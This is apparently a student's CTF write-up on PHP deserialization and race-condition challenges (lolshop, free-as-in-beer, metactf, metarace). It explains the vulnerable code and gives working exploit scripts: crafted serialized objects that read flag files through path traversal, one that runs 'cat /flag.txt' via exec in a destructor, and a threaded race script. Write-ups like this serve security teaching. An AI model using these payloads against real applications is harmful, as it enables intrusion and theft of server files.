#
Serialization
#
lolshop
We wanto to exploit the restore
function, since it has a vulnerability which can allow execution of non serialized malicious code. Ideally we would also like to exploit the getPicture
function in products.php
, since it has an hardcoded path into it. Note that it is also called into a toDict
function.
To recap: we need to read the secret file. We have a compressed internal state variable, which we would like to decode. It is send back and forth via requests and it is encoded in base 64:
import zlib
zlib.decompress(state)
The result is a php serialized object. We can inject anything we want into it. We need another class / more than on class to get a print of the secret file present in the server's file system.
#
In a nutshell
If we send a product instead of a state, the toDict
of the product is going to be called. The output will contain the getPicture
function, which will read from the filesystem the path we want, which will be the secret file. Code for that:
import zlib, base64, requests, subprocess
from IPython import embed
obj = subprocess.check_output(['php', 'payload.php'])
payload = base64.b64encode(zlib.compress(obj))
print('encoded payload: {}'.format(payload.decode('utf-8')))
print('sending payload...')
r = requests.post("http://jinblack.it:3006/api/cart.php", data={
'state': payload
})
print('status code: {}'.format(r))
embed()
What do we put in the payload.php
script? The quickest way to generate the PHP code is to use the php shell (php -a
):
php > ...
php > $p = new Product(0, 'xcv', 'xcv', '../../../../secret/flag.txt', 0);
php > echo serialize($p);
In the first line we copied into the console all the class code from the website source code.
Note: HTTP status code 500 means internal serve error. It is good, since it means that there's something wrong that we can exploit.
#
free-as-in-beer
We do not have any source code... We just have the url of the challenge, and some hints: we know that the flag is contained in the flag.php
file, and that we'll probably find some exploitable code if we look carefully. In fact we can find some PHP source code in plain text:
*/?><?php
Class GPLSourceBloater{
public function __toString()
{
return highlight_file('license.txt', true).highlight_file($this->source, true);
}
}
if(isset($_GET['source'])){
$s = new GPLSourceBloater();
$s->source = __FILE__;
echo $s;
exit;
}
$todos = [];
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}
if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
<html>
<head>
<style>
* {font-family: "Comic Sans MS", cursive, sans-serif}
</style>
</head>
<h1>My open/libre/free/PHP/Linux/systemd/GNU TODO List</h1>
<a href="?source"><h2>It's super secure, see for yourself</h2></a>
<ul>
<?php foreach($todos as $todo):?>
<li><?=$todo?></li>
<?php endforeach;?>
</ul>
<form method="post" href=".">
<textarea name="text"></textarea>
<input type="submit" value="store">
</form>
I'm a bit of a novice in PHP, so let's look more carefully at what we're dealing with. Here's some notes:
-
substr(string $string, int $offset, ?int $length = null): string
Returns the portion of
string
specified by theoffset
andlength
parameters. -
md5(string $string, bool $binary = false): string
Calculates the MD5 hash of
string
using the » RSA Data Security, Inc. MD5 Message-Digest Algorithm, and returns that hash. __FILE__
is a magic constant that gives you the filesystem path to the current .php file (the one that__FILE__
is in, not the one it's included by if it's an include.REQUEST_URI
: The URI which was given in order to access this page; for instance, '/index.html
'.-
header(string $header, bool $replace = true, int $response_code = 0): void
header() is used to send a raw HTTP header. See the » HTTP/1.1 specification for more information on HTTP headers.
#
A first approach
This is the exploitable part of the code, leaked in the html of the page:
Class GPLSourceBloater{
public function __toString()
{
return highlight_file('license.txt', true).highlight_file($this->source, true);
}
}
if(isset($_GET['source'])){
$s = new GPLSourceBloater();
$s->source = __FILE__;
echo $s;
exit;
}
PHP magic methods recall
Recall on magic methods such as __toString
:
Magic methods are special methods which override PHP's default's action when certain actions are performed on an object.
Caution
All methods names starting with
__
are reserved by PHP. Therefore, it is not recommended to use such method names unless overriding PHP's behavior....
public __toString(): string
The __toString() method allows a class to decide how it will react when it is treated like a string. For example, what
echo $obj;
will print.Source: PHP: Magic Methods - Manual
To recap
Basically we need to serialize an instance of the GPLSourceBloater
class with the source
variable setted as flag.php
. To achieve that we create the object, serialize it, and put it in the todos
array. After that it's just a matter of sending a GET to the server with our custom cookie and the flag will be printed.
#
metactf
More complex than free-as-in-beer. We have two classes: User
and Challenge
:
<?php
// ini_set('display_errors', 1);
// ini_set('display_startup_errors', 1);
// error_reporting(E_ALL);
// error_reporting(0);
class User{
public $name;
public $id;
public $isAdmin;
public $solved;
public $points;
function __construct($id, $name){
$this->id = $id;
$this->name = $name;
$this->isAdmin = false;
$this->solved = array();
$this->points = 0;
}
function setSolved($challid){
array_push($this->solved, $challid);
}
}
class Challenge{
//WIP Not used yet.
public $name;
public $description;
public $setup_cmd=NULL;
// public $check_cmd=NULL;
public $stop_cmd=NULL;
function __construct($name, $description){
$this->name = $name;
$this->description = $description;
}
function start(){
if(!is_null($this->setup_cmd)){
$output=null;
$retval=null;
echo("Starting challenge!");
exec($this->setup_cmp, $output, $retval);
echo($output[0]);
}
}
function stop(){
if(!is_null($this->stop_cmd)){
$output=null;
$retval=null;
echo("Stoping challenge!");
exec($this->stop_cmd, $output, $retval);
echo($output[0]);
}
}
function __destruct(){
$this->stop();
}
}
?>
We can both download and upload user objects: those get serialized before being downloaded, and unserialized after being uploaded. Since the web app hasn't got any user input validation/sanitization, we can put everything we want into the user object.
About user objects
Here's what we get if we create a user and download its serialized object:
O:4:"User":5:{s:4:"name";s:3:"zzz";s:2:"id";i:6904;s:7:"isAdmin";b:0;s:6:"solved";a:0:{}s:6:"points";i:0;}%
Which becomes:
object(User)#1 (5) {
["name"]=>
string(3) "zzz"
["id"]=>
int(6904)
["isAdmin"]=>
bool(false)
["solved"]=>
array(0) {
}
["points"]=>
int(0)
}
Note about fetch_assoc()
$info = $res->fetch_assoc();
$isadmin = $info['isadmin'] == 1;
$res->close();
return $isadmin;
It is used to fetch a result row as an associative array.
Magic methods in this challenge
__construct
: If you create a__construct()
function, PHP will automatically call this function when you create an object from a class.__destruct
: If you create a__destruct()
function, PHP will automatically call this function at the end of the script. This is the method we'll exploit to leak the flag.
#
A first approach
I tried downloading the default user object created by the website, changing the number of points and setting isAdmin
to true
:
$ php user.php
object(User)#1 (5) {
["name"]=>
string(3) "123"
["id"]=>
int(0)
["isAdmin"]=>
bool(true)
["solved"]=>
array(0) {
}
["points"]=>
int(999)
}
O:4:"User":5:{s:4:"name";s:3:"123";s:2:"id";i:0;s:7:"isAdmin";b:1;s:6:"solved";a:0:{}s:6:"points";i:999;}
Thanks to that I managed to print a test challenge in the homepage of the app Actually this is not true, as you'll see later on:
# Welcome to METACTFName: Test Challenge
Desc: This is an enabled test challenge
Points: 100
The code above gets printed for every user, admin or not.
#
The solution
Since in the code of the Challenge
class we can execute arbitrary shell commands, we could try executing cat /flag.txt
. First we need to instantiate a new object, which we did (Test Challenge). Then we need to delete it, which will call the __destruct()
magic method, which will call the stop()
function. If we previously set $c->stop_cmp = 'cat /flag.txt'
, we should be all set. Still we need a way to manipulate the object...
array_push()
array_push(array &$array, mixed ...$values): int
array_push() treats array
as a stack, and pushes the passed variables onto the end of array
. The length of array
increases by the number of variables pushed. Has the same effect as:
<?php
$array[] = $var;
?>
exec
in PHP
exec(string $command, array &$output = null, int &$result_code = null): string|false
command
: The command that will be executed.output
: If theoutput
argument is present, then the specified array will be filled with every line of output from the command. Trailing whitespace, such as\n
, is not included in this array. Note that if the array already contains some elements, exec() will append to the end of the array. If you do not want the function to append elements, call unset() on the array before passing it to exec().result_code
: If theresult_code
argument is present along with theoutput
argument, then the return status of the executed command will be written to this variable.
To recap
We just needed to serialize a specially crafted Challenge
object and to put it into the file that would be uploaded...
$c = new Challenge('bogus challenge', "just trying to print the flag, nothing to see here");
$c->stop_cmd = 'cat /flag.txt';
print(serialize($c));
Then, after uploading this, we load index.php
and we'll get:
# Welcome to METACTFUser Backup file:
Load User
Stoping challenge!flag{nice_yuo_got_the_unserialize_flag!}
#
metarace
Same webapp as metactf, but different exploit: we need to registrate, login and get to the homepage before that the registration is finished. This is because at registration time the user is setted as non admin, which means that he cannot see all the challenges present in the database. If we are able to send a login request and to get the index.php faster than that, we'll be able to print what we need.
register.php
$db->create_user($name, $password); $id = $db->get_idusers($name); if ($db->get_admin($id) && $db->get_username($id) === $name){ $db->fix_user($id); }
login.php
$id = $db->login($name, $password); if (($id != 0) && !is_null($id)){ echo("<h3>Login Completed!</h3>"); $_SESSION['challenges'] = $db->get_challenges($id, $db->get_admin($id) ); $_SESSION['user'] = new User($id, $db->get_username($id)); }
db.php
fix_user
function fix_user($idusers){ /* Prepared statement, stage 1: prepare */ if (!($stmt = $this->mysqli->prepare("UPDATE users SET isadmin = 0 WHERE idusers = ?"))) { echo "Prepare failed: (" . $this->mysqli->errno . ") " . $this->mysqli->error; } /* Prepared statement, stage 2: bind and execute */ if (!$stmt->bind_param("i", $idusers)) { echo "Binding parameters failed: (" . $stmt->errno . ") " . $stmt->error; } if (!$stmt->execute()) { echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error; } }
get_admin()
function get_admin($id){ /* Prepared statement, stage 1: prepare */ if (!($stmt = $this->mysqli->prepare("SELECT isadmin FROM users WHERE idusers=?"))) { echo "Prepare failed: (" . $this->mysqli->errno . ") " . $this->mysqli->error; } /* Prepared statement, stage 2: bind and execute */ if (!$stmt->bind_param("i", $id)) { echo "Binding parameters failed: (" . $stmt->errno . ") " . $stmt->error; } if (!$stmt->execute()) { echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error; } if (!($res = $stmt->get_result())) { echo "Getting result set failed: (" . $stmt->errno . ") " . $stmt->error; } $info = $res->fetch_assoc(); $isadmin = $info['isadmin'] == 1; $res->close(); return $isadmin; }
get_challenges()
function get_challenges($id, $isadmin){ if ($isadmin){ /* Prepared statement, stage 1: prepare */ if (!($stmt = $this->mysqli->prepare("SELECT name, descriptions, points FROM challenges"))) { echo "Prepare failed: (" . $this->mysqli->errno . ") " . $this->mysqli->error; } } else{ /* Prepared statement, stage 1: prepare */ if (!($stmt = $this->mysqli->prepare("SELECT name, descriptions, points FROM challenges WHERE isenabled=true"))) { echo "Prepare failed: (" . $this->mysqli->errno . ") " . $this->mysqli->error; } } if (!$stmt->execute()) { echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error; } if (!($res = $stmt->get_result())) { echo "Getting result set failed: (" . $stmt->errno . ") " . $stmt->error; } $challenges = array(); while ($info = $res->fetch_assoc()){ array_push($challenges, $info); } $res->close(); return $challenges; }
# The solutionQuite straightforward: we setup two threads and we try to login and get to the home page of the website while the registration is still ongoing in order to be faster than the
fix_user
function, which would block access to the database.def registration(s, user, password): url = "%s/register.php" % HOST r = s.post(url, data={'username': user, 'password_1': password, 'password_2': password, 'reg_user': ''}) #get_body(r) if "Registration Completed!" in r.text: return True return False def login(s, user, password): url = "%s/login.php" % HOST r = s.post(url, data={'username': user, 'password': password, 'log_user' : ''}) r = s.get(HOST) if 'flag{' in r.text: get_body(r) print('setting up session...') s = Session() print('starting loop...') while True: username = randomString(10) password = randomString(10) r = threading.Thread(target=registration, args=(s, username, password)) l = threading.Thread(target=login, args=(s, username, password)) r.start() l.start()